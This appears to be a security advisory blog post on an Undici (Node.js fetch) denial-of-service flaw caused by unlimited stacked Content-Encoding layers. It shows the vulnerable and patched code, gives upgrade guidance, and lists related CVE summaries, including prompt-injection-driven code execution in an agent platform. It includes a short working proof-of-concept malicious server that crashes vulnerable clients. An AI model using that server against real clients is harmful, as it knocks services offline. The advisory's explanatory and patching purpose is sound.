Feb 19, 2026·5 min read·71 visits
Undici didn't limit the number of 'Content-Encoding' layers in a response. An attacker can send 'gzip, gzip, gzip...' 2,000 times, causing the client to build 2,000 stream objects, leading to a crash.
Node.js's high-performance HTTP client, Undici, contains a critical oversight in how it handles stacked compression schemes. By responding with a maliciously crafted 'Content-Encoding' header, an attacker can force the client to allocate thousands of decompression streams instantly. This results in a resource exhaustion loop that spikes CPU usage and drains memory, effectively killing the Node.js process.
If you've been using Node.js recently, you've likely touched Undici without even knowing it. It's the engine under the hood of the global fetch() implementation introduced in Node 18. It was built for speed—stripping away the bloat of the legacy http module to give developers raw performance.
But here's the thing about performance-obsessed code: sometimes it assumes the other side of the connection is playing nice. Undici trusts the server to tell it how to decode the incoming data. If the server says, "Hey, this payload is gzipped," Undici spins up a zlib stream to handle it.
Now, ask yourself: What happens if the server is a sociopath? What if it says, "This data is gzipped... and then gzipped again... and again..." for about three thousand layers? Before CVE-2026-22036, Undici would look at that request, nod enthusiastically, and try to build a decompression pipeline that reaches the moon.
The vulnerability lies in the DecompressHandler. The HTTP specification (RFC 7231) allows for multiple content encodings. This is useful if you want to compress a file and then encrypt it, or apply a legacy compression followed by a modern one. The header looks like this:
Content-Encoding: gzip, br
The receiving client is supposed to peel these layers back one by one. Undici implemented this by splitting the header string by commas and iterating over the result. For every token it found, it instantiated a new transform stream and piped them together.
The fatal flaw? No speed limit.
There was absolutely no check on how many encodings were listed. If a malicious server sent a header with 5,000 gzip tokens, Undici's loop would dutifully create 5,000 heavy zlib objects. This isn't just a logic error; it's an invitation for a resource exhaustion attack. It's like ordering a single coffee but specifying 10,000 pumps of vanilla syrup—the barista (your CPU) is going to have a breakdown trying to fulfill the order.
Let's look at the crime scene. The vulnerable code in lib/interceptor/decompress.js was deceptively simple. It took the header, split it, and mapped it to streams.
// Vulnerable Implementation
#createDecompressionChain (encodings) {
const parts = encodings.split(',')
// ⚠️ DANGER: No check on parts.length!
const decompressors = parts.map(encoding => this.#getDecompressor(encoding))
// ... piping logic ...
}It’s clean code, but it’s naive. It assumes parts will be a reasonable number, like 1 or 2.
The fix, applied in commit b04e3cb, introduces a hard reality check. It aligns Undici with other hardened clients like curl by imposing a strict limit.
// Patched Implementation
#createDecompressionChain (encodings) {
const parts = encodings.split(',')
// The sanity check we were missing
const maxContentEncodings = 5
if (parts.length > maxContentEncodings) {
throw new Error(`too many content-encodings: ${parts.length}`)
}
// ...
}If you try to pass more than 5 layers now, Undici throws an error before allocating a single byte of memory for streams. Attack neutralized.
Exploiting this is trivially easy if you control the server (or can perform a Man-in-the-Middle attack). You don't even need to send a massive body; the header processing alone is enough to degrade the target.
Here is a conceptual Proof of Concept (PoC) for a malicious Node.js server designed to kill a vulnerable Undici client:
const http = require('http');
const server = http.createServer((req, res) => {
// Create a string of "gzip, " repeated 2000 times
const abuse = Array(2000).fill('gzip').join(', ');
res.writeHead(200, {
'Content-Type': 'text/plain',
'Content-Encoding': abuse // The payload
});
res.end('Goodbye memory.');
});
server.listen(1337);When a vulnerable client calls fetch('http://malicious-server:1337'), it parses that header. The DecompressHandler immediately attempts to construct 2,000 stream instances.
In Node.js, streams are expensive. They allocate buffers and bind event listeners. Doing this thousands of times synchronously blocks the event loop. The CPU spikes to 100%, and the Garbage Collector goes into a panic spiral trying to manage the sudden allocation frenzy. For a single-threaded runtime like Node, this is game over.
This isn't a vulnerability you can easily "configure" away without touching the code, because the flaw is in the library's core logic. The only real path forward is upgrading.
If you use Undici directly: Update to version 6.23.0 or 7.18.0. These versions include the hard limit of 5 encodings.
If you use Node.js fetch:
You are at the mercy of the Node.js release cycle. You need to update your Node.js runtime to a version that bundles the patched Undici. Check the release notes for your Node version to ensure it includes the relevant Undici security update.
Workaround (The Band-Aid):
If you cannot update immediately and are sitting behind a reverse proxy (like Nginx or AWS WAF), you can try to inspect the Content-Encoding header of incoming responses from upstream services (if your Node app is acting as a proxy) or limit the header size. However, since this exploits the client (your app making outgoing requests), network-level mitigation is harder unless you proxy all your outgoing traffic through a smart gateway that sanitizes response headers.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
undici Node.js | < 6.23.0 | 6.23.0 |
undici Node.js | >= 7.0.0 < 7.18.0 | 7.18.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-770 |
| Attack Vector | Network |
| CVSS | 5.9 (Medium) |
| Impact | Denial of Service |
| Exploit Maturity | PoC Available |
| Fix Complexity | Low (Update) |
Allocation of Resources Without Limits or Throttling
CVE-2026-109956 (GHSA-j456-xh4h-cpf2) is a path traversal vulnerability and security sandbox bypass in the Python Natural Language Toolkit (NLTK) versions 3.10.3 and earlier. The WekaClassifier module fails to validate caller-controlled model file paths before passing them to the Weka Java Virtual Machine (JVM) via command-line arguments. When operating under the nltk.pathsec security sandbox, this omission permits attackers who control model path parameters to read, probe, or overwrite arbitrary files outside authorized NLTK data directories.
CVE-2026-35002 is an arbitrary code execution vulnerability in the Agno agent platform (formerly Phidata) affecting all versions prior to 2.3.24. The flaw resides in the model execution logic (libs/agno/agno/models/base.py) and tool serialization logic (libs/agno/agno/tools/function.py), where the application directly passes the field_type string parameter into Python's built-in eval() function to resolve string type names into Python data types. An attacker who can influence FunctionCall arguments via prompt injection or supply untrusted dictionary structures for deserialization can execute arbitrary Python expressions within the context of the host process.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.